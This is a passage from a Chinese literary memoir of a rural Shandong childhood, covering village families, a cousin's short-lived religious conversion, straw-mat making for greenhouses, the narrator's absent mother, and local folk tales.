我来到大泉,想到这件事,想到那个女人和那个男人,想到那口井。那个女人死了,她的男人也被抓走了。那口井在哪儿呢?我走在大泉庄前的石博连上,仿佛我脚边的石博连旁边就是那口井,但是我最终也没有看见那口井到底在哪儿。 我们到了兰兰的姥娘家,她在大门外喊了一声“姥娘!”她姥娘听见了答应一声儿,她推开她姥娘的大门,她的姥娘正从堂屋里朝大门口儿走过来。 兰兰跟她的姥娘说:“姥娘,俺妈妈让你有空儿去俺家拿山芋栽子!” 她姥娘答应了一声儿。兰兰就说:“姥娘,我走了。” 她姥娘也没硬留她。我就骑着自行车带着兰兰回家了。 等我们回来见了二婶子,我还以为自己干了一件功德无量的好事。谁知道二婶子不但没有表扬我,反而埋怨我。 “恁怎么就这样去兰兰姥娘家的?兰兰也没有梳洗打扮,我也没给兰兰姥娘带点东西。”二婶子埋怨我说。我当时还觉得自己莫名地有些冤屈。等我自己到了二婶子那个岁数,我才能真的理解二婶子的想法。我才知道我那样莽撞的热心真是个笑话。 那阵子流行织毛线鞋穿。二婶子也给自家人织了好几双鞋来穿穿。 “回我给大省也织一双!”二婶子边织鞋子,边乐呵呵地说。 果然,没过多久,等我放学回到家的时候,爷爷指着地上的一双红色的毛线鞋跟我说:“这是南家前恁二婶子给你织的。”我难得地有了一双新的鞋,赶紧穿上它。那双鞋的鞋底是白色的泡沫底,平平的,硬硬的,在家里当拖鞋穿还可以,真要是穿出去走路或是干活儿,是不行的。而且,那双鞋也没有鞋带子,只用两根毛线系在脚腕儿上,根本不跟脚儿。那双鞋我后来没怎么穿。所以,它一直很新,红红艳艳。 16. 我走的那天没有告诉我爷爷 1.大香家 荆堂是个小庄,也是个穷庄。本庄的姑娘想走出去,外庄的姑娘不愿意来。本庄上的光棍汉很多。住在庄西头儿的刘二就是其中一个。他人长得黝黑,嘴巴很油,看到我们这些小孩子,就逗我们玩。 “嘎喽!”他说。“嘎喽”在我们那儿就是打嗝的意思。我知道他是想说Hello。我觉得他虽然有些黝黑,但确实很有意思。 看到娄家待嫁的大香,他脱口而出:“山外青山楼外楼,娄家小姐出秀楼!”他说完,用他那小狗儿一样的眼睛和鼻子看着她。可是,这娄家的小姐是看不上他的。 大香跟她弟弟大伟相差近十岁。二奶奶二爷爷在没有儿子的那些日子里,就怕过年,年年过年都过不好。因为没有儿子,她们觉得矮人一头,低人一等,害怕人家戳他脊梁骨,骂他“绝户”。每逢过年那天,二奶奶、二爷爷就把大门从里头栓上,两口子躲在被窝里睡觉,睡上一天的苦恼觉。 直到有了儿子大伟,二爷爷、二奶奶的眉间才有了笑颜。二爷爷很宠爱这个儿子。两口子一起在大门口儿干活儿,大伟爬在大门楼子上捣乱。二奶奶嫌他捣乱,又怕他掉下来,冲着他喊:“大伟,你下来!你下来!大伟!” 大伟不吭声儿。 二奶奶喊他喊不应,急了。对着大伟破口大骂:“你给我起来!你个祖宗!起来!” 二爷爷在旁边听了登时瞪眼抗议:“你喊他干什么!你把他吓着!” 二奶奶见二爷爷不满,对着二爷爷展开嘲讽和攻击:“你听他说,伟!他会说话,他奶声奶气的!” 大香的娘跟她两个妯娌去人家庄上参加丧事儿,等她们回到荆堂的时候,妯娌三个手里拿着孝手巾,走在家东的小路上,排成一行,高高低低地往家进发。老娄奶奶坐在她家大门前,远远地看着她迤逦而来的三个儿媳说:“你看,就老二家的最矮。”二奶奶又矮,又脾气暴躁,估计老娄奶奶最不喜欢她。 大香的娘,我跟她叫二奶奶。她在三个妯娌里个子最低,但是论疲苦卖劳,属她最能干。我爸爸去世的那年,荆堂已经开始准备种大棚了。我爸爸也买好了一大团大红色的胶丝绳儿,准备种大棚的。种大棚很辛苦,挑水浇菜,晚上要盖苫子,早上要掀苫子。种大棚所用的苫子还得自己打。 打苫子用的是麦秸,四根木棍儿两两组合,交叉竖在几块石头上,上头撑起一根横杆儿。横杆儿上系两根绳子,绳子上坠上石头,把麦秸横放在横杆儿上,两跟绳子带着石头向上相向翻过来,把麦秸压住。这样的绳子在横杆儿上等距离放三四处。麦秸不够了,再抓一小把儿横着补上。农村人,是有足够的耐心和耐力的。麦秸儿慢慢地放,绳子反复地甩过来甩过去。积少成多,慢慢地,一块麦秸做成的苫子就成形了。 小孩子放学了,也跟着大人一起在自家大门口儿打苫子。农忙的时候,是没有时间打苫子的,得等到不忙的时候才有功夫。大冬天的,大人小孩儿的手上都裂开了口子,个个手上都贴着伤湿膏。很多家的孩子,尤其是女孩子,都早早地不上学了。大人不想再供,自己也乐得不上,就在家里跟着大人一起打苫子,打了苫子,大人给她买几件秋衣,换来女孩子片刻的欣喜。 大香成绩一直不好,趁着那阵子辍学热,自然也跟着不上学了,也在家跟着大人一起打苫子。 人家打苫子都把打苫子的木架子支在自家大门前打。打苫子的手都裂了口子,个个指头上都贴着伤湿膏。 二奶奶也才四十来岁,正是身强体壮的时候。每天早起掀苫子,白天挑水浇菜,晚上盖苫子。二奶奶天天围着大棚转,比个好样儿的男人还要能干。久而久之,积劳成疾,二奶奶得了半身不遂。 二奶奶自从得了病,行动不便,就不能伺候一家老小了。她一只手垂着,走起路来拖拖拉拉。一家老小都得伺候她。大香、大伟都得给她系裤腰带。 二爷爷带着二奶奶到处求医访药,全家人经常一走就是一整天。 二爷爷说:“你要是能好了,我天天给你磕十八个头,叫你十八个姑奶奶,我也愿意啊。” 我那阵子经常去大香家找她玩儿。二奶奶有病乱投医,听了人家信耶稣的劝导,决定去信耶稣了。南北荆堂的信耶稣的婶子、大娘,自然是欢迎新成员的加入的。为了照顾新成员,她们把聚会的地点改成了二奶奶家里。 信耶稣的总部在牧羊沟,就是荆堂正东的小庄。过了家东的杨树行,在四面阴湿的环境里,爬上一个黑黑的高高的上岗儿,上边那个庄就是牧羊沟了。大香每个礼拜都扶着二奶奶去牧羊沟做礼拜。我有一回闲着没事儿,也跟着大香一起去牧羊沟。 教堂里头,就像一个小学堂。底下乌压压地坐了一排排的人,最多的是中老年妇女。讲台上,来了一个讲师,也是附近庄上的。他穿着蓝色的中山装,戴着黑色的围巾,像个斯文的教书先生。他骑着自行车到了牧羊沟,走进屋里,拿着一个本子开始讲:“感谢神!人家都说信耶稣是迷信。达尔文,他是个大科学家,英国的,他写了《物种起源》,说人类是从猿猴进化来的,不是上帝创造的。但是,等他年纪大了以后,他也是信了神。感谢神!我们今天再学一首歌儿,感谢神!” “我只信主耶稣,众信众爱。有他的保佑,平安自在。” 讲师在台上教,大家就在台下记。不会写字的,就让会写字的帮忙记。那阵子,大香的小本子上记了很多首歌儿。那些信教的人中,多数对主是有所求的,或是因为身体欠安,向主求健康,或是因为家中不幸,向主求安宁。 大香信了教,一时志得意满。晚上,我去她家玩。她家亮起了电灯。 “咳!俺家信耶稣了,这回有耶稣保佑了。以后都要上天堂的。那些不信耶稣的,以后都要下地狱了!”大香洋洋得意地说。 我对她的说法表示质疑,我说:“这些都是迷信。信耶稣的也不一定就去天堂,不信的也不一定就下地狱吧。再说,信耶稣的不一定就全是好人,不信耶稣的也不全都是坏人。” 大香一听不高兴了,她立马调动起她全身的力气,摇头晃脑地对我展开抨击:“大省,你怎么这样说的?信耶稣就是要去天堂的,谁信了耶稣,就是耶稣的孩子,耶稣祝福我们。不信耶稣的,耶稣不祝福他们,他们就要下地狱的,他们到了地狱,就被下油锅给炸了。你这样说,为什么人家都去信耶稣?就是因为信耶稣好啊。死后要进天堂啊。你现在不知道,等到世界大战的时候,到那时候,你就知道了。耶稣会把那些信耶稣的一家子都带走。那些不信耶稣的,耶稣就会把他们抛弃了。到时候你就知道了。哼哼!” 灯影下,大香的嘴巴和脑袋的影子在墙上一晃一晃的,像个皮影戏里的皮影。我看着她的影子,觉得又滑稽又可笑,一时间,我完全忽略了她在说什么。大香很聪明,口才也很好。但是我不喜欢她的那种摇头晃脑。 信耶稣就会上天堂,不信耶稣就会下油锅,我是不信这一套。但是我实在闲极无聊,我就真地每个礼拜都去牧羊沟做起了礼拜。我不登记,不报名,我不参与那些婶子大娘的聚会,我不是什么正式的信徒,我不想早起祷告,我也不想要谁的管束。我只喜欢讲师的宣讲。我喜欢那个宣讲的中年人,他身上有师长味儿,有父亲味儿。我去教堂,很大成分上不是因为耶稣,而是因为他。我默默地去听了几次,学那些歌儿,记那些歌词,记了好几首。我觉得我有一个组织了。我有一个奔头了。我有一个寄托了。 我觉得耶稣的歌儿很好。晚上,睡觉了。人家还在灯光下熙熙攘攘。我就把学来的歌儿在被窝里悄悄地唱:“病在俺的身呀,想想真可怜,吃药打针俺也没有钱,想想真可怜。跪下就祷告呀,耶稣保佑俺。保佑俺健康又圆满,家家得团圆。” 我突然间觉得信耶稣很好,因为可以治愈疾病。穷人怕生病,穷人没钱治病。耶稣可以治病,并且有很多信了耶稣就自愈的案例。你说耶稣好不好? 我是中国人,我不太信耶稣,我信中国的神。耶稣是高鼻梁蓝眼睛,我跟他不是一个品种,他怎么会保佑我。我信中国的观音菩萨。 为什么人要信神,因为神离她最近,每天都可以与她面对面,每天都可以听她祈祷听她晨昏问安。 因为与神相遇最为省事最为便宜,耶稣或佛祖就在她两脚能够到达的寺庙或者就在她心里,信神只需一炷香而已。 因为神能佛颜常笑,大肚能容,对她无限宽容,可以饶恕她所有的罪过,同情她所有的苦难,接纳她所有的缺点,可以每天听她祈祷而不心烦。 因为神足够有能耐,自从有神的那一天开始,直到现在,一直都在,神可以护佑她和她的子子孙孙世世代代。 因为神只有慈悲为怀这一副心肠,救苦救难这一副面容,她不必担心她翻云覆雨阴晴不定。 因为神爱她也爱众生,因为跪在神面前就是众生平等。 因为神看得见摸得着找得到,因为神足够爱她。神胜过母亲,神足够使她信任,足够使她安心,足够给她安慰,跪在神面前,就是躺在最温暖的怀里了。 我不喜欢耶稣,我还是喜欢观音菩萨。 大慈大悲的观世音菩萨,救苦救难的观世音菩萨!无量寿佛!无量天尊阿弥陀佛啊! 我去牧羊沟的事,我爷爷知道了,他及时地制止了我:“不去了!哪有小孩儿信耶稣的!都是老嫲嫲信的。去的人都有病。不要去!人家笑话!” 我看爷爷不高兴,也就不再去了。大香去了一段时间,后来也不去了。大概是耶稣很忙,还没有来得及垂青于她。而她也不够有耐心和诚心,觉得耶稣治病还是慢了一些,又弃了耶稣这条路,转而去别个地方寻医访药了。至于天堂还是地狱的,她也不在乎了。 而我妈妈还是偶尔会唱耶稣的歌,她边缝着衣裳边唱: “众劝众姐妹呀,多多的孝堂亲啊。别学那丁郎死后去烧香啊。摆上果供品啊,扎上纸马人,鸡鱼肉蛋也不入他爹娘的身啊。” 我妈妈说:“丁郎是一个小男孩儿,他娘一个人守寡把他拉扯大了。他不孝顺,对他娘非打即骂。丁郎去耕地,看到地头上,有一棵树,树上有一个鸟窝,窝里有一个老麻雀,老麻雀眼瞎了,不能打食儿了。小麻雀就叼着虫子去喂老麻雀。丁郎看到了,想到自己天天打爹骂娘的,真是连个鸟都不如。丁郎就后悔了。这时候,正好他娘来给他送饭了。丁郎赶忙跑去地头上去迎他娘。他娘看见丁郎慌慌张张地跑过来,以为丁郎又是要来打她的,他娘吓得一头撞在地头上的一棵大树上,撞死了。丁郎看到他娘撞死了,没有娘喽,想孝顺娘也来不及喽。他哭着把那棵树砍了,刻上他娘的样子。丁郎每天吃饭都要先敬他娘。天冷了给他娘烤火,天热了给他娘扇扇子。唉,有什么用哎,鸡鱼肉蛋他娘也吃不上了。信耶稣好,耶稣唱的歌都是教育人的。你就是闲着没事儿,天天唱歌心情也好。” 接着,她又开始唱歌:“甜蜜的世界甜蜜的世界,比呀比蜜甜!甜蜜的世界甜蜜的世界比呀比蜜甜!” 二奶奶一家四处寻医访药,经常带回家一包包的中药。二奶奶的病没有见好,大香的姻缘倒是解决了。给二奶奶看病的医生见大香尚未婚配,又吃苦耐劳,能说会道,就给她介绍了一门亲事,那是凤安街上的一户做小生意的人家,听说那家只有父子俩儿,日子很富裕。大香去了几次,跟父子俩相处也愉快。她们一家子都喜气洋洋,庆幸她找了一户好人家。 大香新买了一辆自行车。大香骑着新买的自行车从婆家回来,粉色的裙带在腰后头随风飘摆。大香带回来几袋子糖果。到家以后,大家聚在她家堂屋门口儿,围坐在一圈儿,笑呵呵地吃着糖。老娄奶奶也来了。大家都感到庆贺。 大香跟大家介绍着她婆家的盛况:“我一去,老头子就跟我说,恁姐,我那屋里,好几场太空被,我都没空儿晒,你看看烂了吗?你帮我拿出来晒晒。” “可以说,这辈子,至少不用种地了!” 大香志得意满地说。 2.东善、老刘嫲嫲 夏天,我帮着爷爷割麦、扬场。天热,我常常去西边大香家里玩。到了晌午头儿,我就睡在她家堂屋当门儿的地上,地上铺着一领薄薄的草席,梁头上吊着一个大吊扇,吊扇的风很大,对着我吹,很是凉快,我就在她家的草席上睡着了。 没几天,等我跟我爷爷一块儿吃晌午饭的时候,我的嘴巴开始露汤了,不能正常喝汤了。我照照镜子看看,嘴巴有点歪。同时,我的右边脖子上、耳朵根子底下,还鼓起了一个包。 爷爷说:“这是‘吊邪风儿’这是风扇吹多了。” 大龙来找我玩,我告诉他我得了“吊邪风”,他立刻找到了乐子,指着我就笑:“哈哈!‘吊邪风’!哈哈!‘吊邪风!’” 我看着他笑,我又气又觉得好笑。我也捂着我的歪嘴笑。 生了毛病要治。我爷爷没有钱,就带着我去南家前二叔家,跟二叔说说我的小毛病,想跟他借钱。 “怎么办呢,干活儿都指望她呢。”爷爷带着我站在二叔的天井里,有些为难地说。 二叔没有犹豫,把钱借给了我爷爷。 我爷爷带着我去萝村,到挺和医生那里。挺和医生说:“这是淋巴结发炎。打一针吃点药就好了。”挺和医生给我打了一针,我的嘴也不歪了,脖子上鼓起来的包也很快就好了。 妈妈不在家,我星期天没事,经常骑着自行车去坊口姥姥家,仿佛在那里可以看到妈妈。我到姥姥家门前的路上转悠。一边转悠,一边想,哪里是妈妈说的她上学的小学堂,哪里是妈妈跟一群姊妹团唱着歌儿去生产队干活的地方。夏日的正午,渠沟里白色的藕花静静地绽放,那渠沟里的水也安安静静,没有任何回应。 没有妈妈,去姥姥家也是没有意义的。我就骑着车到南边,到妈妈回来的路上。那是妈妈走过的路。那是妈妈回来必经的地方。有一次,我在换村南家前的路边儿,看到一个女人,年龄、相貌很像我妈妈,她蹲在路边的水沟边儿上洗脸,架势跟我妈妈一模一样。我心知不是我妈妈,但还是到她近旁看了看她。她察觉到有人,有些不经意的侧过脸,她的侧脸也跟我妈妈很像。 我妈妈天热的时候很喜欢洗脸。她洗脸的时候,是实实在在的洗脸,一双手同时使劲儿搓脸,把双脸搓地“吱嘎吱嘎”响。她在路上走着的时候,热了,就去路边的水沟里,捧一把水洗洗脸。她带着孩子们走路的时候也是这样。 记得有一回,妈妈带着我们三个,路过北荆堂公路边上,公路底下的岩石上,雨后的水溜子“哗哗”地响。我妈妈就带着我们三个爬下高高的岩石路堤,来到公路旁沟里的溪水里。旁边是齐腰的岩石。岩石上是山村的公路。那溪水正静静地流过干干净净的岩石,人站立在溪水上,溪水在脚面子上流淌,没有一点淤泥。我妈妈一边给妹妹洗脸洗脚,一边提醒我们注意蚂蟥。 去妈妈娘家的路是妈妈出远门必经的路。也是别人的妈妈必经的路。有一次,我看到一个妈妈跟我妈妈年龄相仿,她推着小推车,小推车上的长筐里有两个孩子。大概是姐姐和弟弟,她们还太小,还不懂事,在妈妈的小推车上打闹着,用山村的脏话骂着对方,听口音,她们是在骂对方的娘。她们的娘正努力地推着车,推着她们,笑嘻嘻地听着她们在箩筐里打闹、骂娘。 我往南边跑,有时候直接去赶凤安集,在集上买来一笼肉包子。那包子并没有多少肉,只有黑黑的干豆角和味道很奇怪的一点肉腥儿。 东善来了,爷爷把包子端上桌,跟他说:“孙女子买的包子!尝尝!” 东善是爷爷最忠实的好兄弟。东善放羊,晚上就跟羊住在一起。这么多年,我爷爷也多亏了东善帮衬。我爷爷地里有什么活儿,自己一个人干不了,就喊东善来帮他干。有一回儿,我爷爷一个人从西岭干活回家,把早上剩的南瓜饭端起来吃了,不久肚子疼,动弹不得。他让人捎信给东善,东善用胶车子推着我爷爷去看病。 东善,东善,常来家里吃饭。爷爷包了饺子,或是有了其他的好吃的,经常喊他来,一起喝酒。爷爷也有笑话东善的时候。他说东善吃饭不讲究。东善去给丈母娘送节礼,丈母娘就一个孤寡老嫲嫲,烧了一小耳朵锅的菜,东善也不用盛出来,就着锅吃。 “东善就骑到小耳朵锅上吃!”爷爷笑话他说。 秋天的一个下午,我放了学,骑车到了家东,在竹来大爷小店门口的梧桐树下,看到了披麻戴孝的二叔,兰兰的爸爸。 他看见我,停了下来,跟我说:“省,你回来了?去吃饭去吧。” 秋冬季节,二叔里头穿着厚厚的衣裳,外头裹着一层孝衣,腰上系着麻,头上戴着孝帽子,他的本就魁梧的身材,这时显得有些臃肿了。我知道,南家前的二爷爷死了。 我来到了南家前二奶奶家。二奶奶家的大姑、二姑很孝顺,二爷爷死了以后,大姑特地请扎纸匠给他扎了一棵橘子树。 有一天,我妈妈突然来学校找我了。她穿着绛红色的褂子,头上裹着绿底黑格子的包头巾。她那年也就四十来岁,萧瑟寒风里,她还是很好看。我从教室里出来,跟她一起走到宿舍楼下。 我问她:“妈妈,你怎么来了?” 她说:“我从恁姥娘家里来,恁小舅要盖屋了。我搁在恁姥娘家里的胶车子,放在她家夹道子里,风吹雨淋的,恁姥娘怕烂喽,让我推回来。” 我家的胶车子很新,是我爸爸去世前几年买的,比我爷爷家的胶车子要新好几成,因为新,所以显得又大又重。不像我爷爷家的胶车子那么轻便,我们经常推着玩。 我说:“妈妈,你什么时候走?” 我妈妈说:“我明天就要走了,恁小弟小妹还要照顾。” 我的眼眶框不住我的眼泪,一串泪珠子滚落下来。 我妈妈说:“你去上课吧,我搁这里儿等会儿你。” 我去上课了。我妈妈就在我们宿舍楼底下的水泥地上坐着等我。 我下课以后,找到我妈妈,跟我妈妈一起往学校大门外走。路上,我的英语老师王老师,迎面走过来,她穿着淡黄色的羽绒服,戴着一副眼镜,一副小巧可爱的样子。 我跟她打招呼说:“王老师,这是俺妈妈!”说着,我心里一难过,抽动着肩膀,又要哭了。 王老师亲切地说:“你怎么哭了?妈妈来了,你应该高兴才对啊?” 我听了王老师的话,忍住了眼泪。我跟我妈妈一起来到学校大门外头。学校大门口儿路南旁,就放着我家的胶车子,胶车子上还放着两个木头打的箱子。 我跟我妈妈说:“妈妈,南家前俺二爷爷死了。” 我妈妈说:“我知道,我买了一刀火纸,去恁二奶奶家,找她坐了坐。恁二奶奶对你还怪好吧?” 我说:“还怪好。” 我妈妈说:“你好好地,我走了。” 我说:“哦。” 她就推起胶车子,头也不回地奔上柏油路走了。我掉着眼泪回到了教室。 我爷爷冬天没事,就背着粪箕子,拿着粪扒子,沿着庄里庄外地转着,瞅着,拾粪。冬天,有人在庄里烧了火,留下来一堆蓝灰色的灰,我爷爷就用粪扒子搂进粪箕子里,跟拾的粪放在一起,背回家倒在粪坑里,来年春天,推到地里,一样的壮地。 老刘奶奶不知道怎么回事,看到我爷爷背着粪箕子拾粪,拾灰,就朝着我爷爷说:“你扒灰,扒灰!” 我爷爷听了老刘奶奶的话,气地一夜没睡着,越想越窝囊。第二天,他早五更就起来,去老刘奶奶家门口儿,晃着她家的柴禾条子编的小门儿,大声地喊她:“老刘嫲嫲,你给我说说,俺儿媳妇清清白白,你凭什么说我扒灰!你给我出来!你可气死我了!” 老刘嫲嫲裹着小脚咯噔咯噔地出来了,我爷爷抓着她的胳膊:“你别走!咱找大队书记评评理,你凭什么说我扒灰的。” 老刘嫲嫲转头就要逃回屋里去。 我爷爷一把抓住她的扎腿带子:“你别走!咱去大队干部那里评评理去!你凭什么胡说八道的!” 老刘奶奶一看,我爷爷死死地抓住她不放,就黄天爷娘地喊起来:“救命啊!杀人啦!杀人啦!”我爷爷一看她那样,也就松了手。 东善家的来了。东善家的五六十岁了。她走近前来,伸手朝我爷爷就抓。我爷爷见事不妙,转头就跑。东善家的在后头一路追过来。我爷爷一路冒跑,直跑到家东河沿藕汪这里,我爷爷快步过了藕汪,往萝村走去。 东善家的见追不上了,在后头喘着粗气,朝我爷爷喊:“你别跑,你过来,咱玩玩!” 我爷爷心说:“我哪里能听她的,她是骗我的!她是想把我骗回头来抓我的!” 我妈妈从南乡回来以后,我爷爷把这件事告诉了我妈妈。我妈妈也去找了老刘奶奶。 我妈妈跟老刘奶奶说:“大奶奶啊。咱娘们儿平时喜好喜好的,我是什么人你不知道啊。家军在,我忠心跟着他,他不在,我跟任何人没有半点来丝。我除了干活拾柴禾,大门不出二门不迈。你怎么能这样说我的?” 老刘奶奶说:“孙媳妇儿,我哪能那样说你啊。我平时有多疼你,你不知道吗?那是恁爹胡说八道的。你可别信。” 我妈妈说:“行,老奶奶,不管你说没说,你以后可那样别说了。你那样冤枉我,不仅是对不起咱娘们儿的感情,更是对不起死去的家军。咱娘们儿两个都是苦命的人,都是年纪轻轻守了寡。”我妈妈说着,流下泪来。 老刘嫲嫲也哭了:“乖孩子,你放心,我绝对不能那样说你的。我说谁,也不能说你。你是什么人,南北荆堂谁不知道啊。来,你饿了吧,我给你煮挂面!” “我不吃了,大奶奶。我回去了。咱改天再拉呱。”我妈妈说着,擦着眼泪回了家。 冬天的一个星期五下午,我放学回家,我爷爷跟我说,可善老老爷爷给烧死了。可善老老爷爷死地很惨,意外失火,无人响应,他跟羊一起,被烧死在他独居的屋里。可善老老爷爷苦寒一世,临终竟葬身火海。临下葬的时候,他的儿子,题兰老爷爷,痛心老父亲的悲惨和自己的不孝,哭喊着要跳下墓坑以身殉父。我爷爷因为跟可善老老爷爷房头不近,没有去给他烧纸。 晚上,我跟爷爷正在桌上吃饭,题兰老爷爷,远远地,从北荆堂,端了一瓷盆子办丧事儿剩下的杂菜汤子,给我爷爷送来了。那些日子,我跟题兰老爷爷的孙女光荣一起去上学。我不知道题兰老爷爷知不知道。 我爷爷倒是没怎么连连感谢,他跟题兰老爷爷说:“大叔啊,你说,恁家大爷爷恁好,这辈子没干过伤天害理的事儿,谁知道能到这样啊?” 题兰老爷爷一口南乡口音,为人很和气。他听了我爷爷的话,就小声儿跟我爷爷说:“斗(就是)说的!你热热菜吃饭吧,我回去了。” “行!”我爷爷把题兰老爷爷瓷盆子里头的杂菜汤倒下,把瓷盆子还给题兰老爷爷:“大叔,你这就回去?我也不留你了。” “客气什么的。你赶紧吃饭吧。”题兰老爷爷说着话儿就走了。 我爷爷把杂菜汤子热一热给我吃。杂菜汤子我们难得吃得上,里头虽然空荡荡,可还是漂着几片猪肉。 “人家这是捞完了剩的。人家事主儿家把肉什么的都捞完了。”我爷爷说。 3.“旦上集” 星期天下午,我骑着自行车去北荆堂光荣大姑的家里,喊她一起去上学。 光荣也准备好了,她的自行车停在屋门前,后座上用绳子绑了一个盛煎饼的大纸箱子。她笑着跟她爸爸说:“给我拿钱!” 她爸爸跟她长得一样。都是眼睛挺立着朝上,笑起来露出一排白色的大门牙。 她爸爸笑着去屋里拿了钱给她,她快乐地接过来,跟我一起出发了。 那阵子,我跟光荣大姑骑车走坦上集家前的那条小路儿去上学。坦上集,我们一直叫“旦上集”,山东话说出来,有点像“蛋生鸡”。坦上集距离荆堂很近,是我从小就比较亲切的一个集。据说,有一个年轻人不知道去坦上集怎么走,就问路边的一个老头:“大爷,旦上集怎么走啊?”老头就是坦上集的,听人家说“旦上集”,老头不高兴了,就跟那问路的人说:“去‘旦上集’啊,顺着大腿往上爬!”不是“旦上集”,是“坦上集”。可是我们叫惯了,从那时到现在一直叫“旦上集”。“坦上集”?说起来怪别扭的,还是“旦上集”顺溜。 我跟光荣一路骑着车,走坦上集家前的小路,往学校赶去。冬天的早上,下了雪,雪下得很厚,小路和小路周围的原野,都是白茫茫的一片。自行车在小路上不听指挥了,我们一个接一个地摔倒在路上,我们也不在意,笑着爬起来,再骑。 爷爷带我去赶坦上集,路过我二姑姥爷家,就去他家里找他说说话。二姑姥爷是我爷爷的姐夫。姑奶奶前几年就去世了。姑姥爷一个人住在他整整齐齐的小院儿里,他的小院落周围是一片菜园子。推开大门,就看见姑姥爷笑嘻嘻的没有更多表情的脸。他在天井里炒菜,炒的是一盘子芹菜,芹菜炒好了,他端上饭桌来吃。我跟爷爷坐在一边,看着他吃。 姑姥爷六七十岁的人了,煞有介事地嚼着芹菜。 我爷爷指着桌子上的芹菜问他:“像这个芹菜,你还嚼的动吗?” 姑姥爷说:“嚼不动!免免舌儿咽了。” 我爷爷说:“我从来都不买这玩意儿。你怎么敢买的?” 姑姥爷说:“华儿他娘给的。”华儿是我姑姥爷的孙子的名字,也是我的表哥。 我爷爷接着说:“我记得俺姐在的时候,你的牙口儿就不行了。” 姑姥爷笑笑说:“那没办法,有口吃的就不错了。” 爷爷带我坐了一会儿,就去赶集去了。姑姥爷家前头不远,就是他的儿子,我表大爷的家。我们在他门口经过,表大娘个子不高,在她家门口看见了,热情地跟我爷爷打招呼。 “大舅赶集的?”大大娘说。 “赶集的,他大嫂子。”我爷爷说。 “家来坐坐吧?大舅!”大大娘说。 “你还去恁大娘家里吧?”我爷爷问我说。我摇摇头不太想去。 “俺刚从恁爹家里出来的。不去了。恁嫂子,俺买点东西家走了。”我爷爷说。 “那行吧,大舅。我听俺家华儿说的,大省跟他一个班。回我让华儿给大省带点好吃的。”大娘说。 等我们走远了,我跟我爷爷说:“俺大娘那是说客气话的。我听俺妈妈说过,俺大娘可小气了。我小的时候感冒,俺爸爸妈妈带我来坦上集看病。医生开了药,准备回家的时候,路过她家。她叫俺爸爸妈妈去她家里玩儿。我该吃药了,俺妈妈问表大娘要了小汤匙,把安乃近研碎了,放在汤匙子里给我灌药。安乃近太苦了,我不肯吃。俺表大娘家里条几上就放着半罐子白糖,她都舍不得提出来给我放点白糖吃药。” 我爷爷说:“那是的,以前白糖多稀罕。” 星期天,我跟着爷爷去玉米地里给玉米喂化肥。玉米叶子已经到人的小腿儿那么高了。满地里的地皮已经龟裂开来了。 “天旱。”我爷爷说,“赶紧下场雨吧!不然老百姓要吃不上饭了。” “听说河南闹了旱灾了。”我说。 “咱这里要是闹了旱灾,就得浇地了。”我爷爷说。 “浇地怎么浇啊?”我说。 “到河沿里挑水哎。那还能怎么办。”我爷爷说。 想到旱灾,我跟我爷爷一样,有些愁眉不展。我想到了我妈妈所在的南乡,南乡雨水多,不会闹旱灾。 喂完化肥,我爷爷回家去了。我还在庄前头那条小路边儿转悠。那条小路在荆堂南家前,一抬眼就能看到南家前的大虎家、“二大蛙子”家,还有那一对爱绣鞋垫子的神仙姐妹家。小路很窄,平时除了种地的人经过这儿,这儿少有人来。小路下头是有些深的渠沟,渠沟里是奇奇怪怪高高低低的石头。 我一个人站在这儿,有些奇怪。我想了想,想回家去,可是我不能走开。有一块大石头上血红淋拉的,是人家杀了鸡鸭,把内脏扔在上头的。那堆血红的东西里头,包裹着一个圆滚滚的东西,像是鸡蛋。会不会是鸡蛋?我狐疑着,不肯离去。 从我站着的小路,到那块大石头上,还要爬过沟壑,登上石头,有些费劲儿。所以,我一时还不想过去。我拿起一块石头,冲着那个圆滚滚的东西砸过去,想试探一下,到底是不是我心心念念的鸡蛋。 “嗙!”我砸中了,是鸡蛋,流出了金黄色的蛋黄。完了!我把那个鸡蛋砸碎了。我白白地失去了一个鸡蛋,失去了一次吃鸡蛋的机会。 我颓唐地离开了那条小路,往爷爷家走去。 五月的一个星期天,我跟我的同学李艳红约好了,让她来我爷爷家吃饭。那天没有阳光,天空清清郎郎,到处是清清的,绿光光的。我爷爷听说李艳红要来,还炒了四个菜。当然都是素菜。我记得有一个是辣椒炒鸡蛋,不知道是鸡蛋太少,还是鸡蛋坏了,那鸡蛋炒出来居然不香,还有点臭鸡蛋的怪味道。 中午,李艳红来了,李艳红个子比我们高出一头,皮肤白净细腻,白白的大脸盘子,红红的爱笑的嘴唇,一头到肩膀的黑黑亮亮的头发,像是中国版的白雪公主。李艳红的妈妈卧床不起,后来就死去了。她和她弟弟跟着她爸爸。 我爷爷没有上桌,我跟李艳红两个人简简单单地吃了顿饭。饭后,看看天要下雨了,我带上伞送她回家。我们沿着荆堂南家前的小路到了杜村家前,杜村家前有一条小河,小河上是用几块青石碑搭成的石桥。我跟李艳红快走到石桥的时候,杜村的四五个十来岁的男孩子在我们身后笑,看样子是说我们呢。 我心里不痛快,就转头朝着那几个小男孩说:“笑什么笑,嘴欠啊!” 那几个小男孩听见我发声,立刻吵吵嚷嚷地跑过来。 “你说谁嘴欠?”一个小男孩儿问我。 “我就说你嘴欠。怎的?”我毫不示弱地说。 “你骂我?你骂我,我打你!”他弯下腰去,要去抓石头。 我挥起手里的雨伞,朝着一个准备打我的男孩搂头就敲,敲完就跑。那几个小男孩反应过来,立刻跑着来追。李艳红站在原地不动,我顾不上李艳红,直往前冲。不能原路返回了,我就绕到大庙,走萝村家前的大路回了爷爷家。李艳红怎么回家的,我也顾不上了。 大庙这个地方,据说以前有一座庙。庙里有个老和尚。庙前头有一颗白果树。有一个男人,因为捕杀了一条蛇,遭到了蛇的记恨。蛇到处追他。他四处躲避,无处奔逃,只好跑到了大庙。他爬到白果树上,蛇就追到白果树上。他只好从白果树上爬下来,跑到老和尚那里,“扑通”一下给老和尚跪下,请求老和尚救他。老和尚把他放在庙里的缸里。那男人躲在缸里吓得瑟瑟发抖,以为就此可以躲过蛇的追击。那蛇被隔在缸外,果然不能近身。只见它紧紧盘在缸上,好一会儿才离去。等蛇走了,老和尚搬开缸来,才发现躲在缸里的那个男人早就没了踪迹,只剩下几滴鲜血洒在缸底。 星期一,我骑车上学,就走萝村家前的大路,不走杜村了。 我见到了李艳红,问她:“他们打你了吗?” 李艳红说:“他们先是围着 